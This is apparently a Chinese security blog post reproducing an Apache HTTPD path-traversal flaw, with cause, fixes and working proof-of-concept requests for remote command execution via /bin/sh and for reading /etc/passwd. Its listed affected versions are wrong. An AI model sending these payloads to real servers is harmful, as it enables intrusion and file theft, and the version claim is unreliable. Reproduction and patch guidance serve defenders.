产生原因

穿越的目录允许被访问,比如配置了 <Directory />Require all granted</Directory>,默认情况下是禁止的。

攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。

影响范围

Apache HTTPD 2.2.49/2.2.50

漏洞复现

RCE命令执行POC:

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 192.168.1.10:888
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close

echo Content-Type: text/plain; echo; id

image.png

目标如果没加载 cgi 模块,就不会运行 访问的文件,读取文件服务器就会报错

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 192.168.1.10:888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

image.png

加载cgi模块后读取文件

image.png

修复方式

1.关闭 <Directory />Require all granted </Directory>

2.不加载mod_cgi.so

3.升级Apache版本https://httpd.apache.org/download.cgi

最后修改:2021 年 10 月 10 日 10 : 27 PM
如果觉得我的文章对你有用,请随意赞赏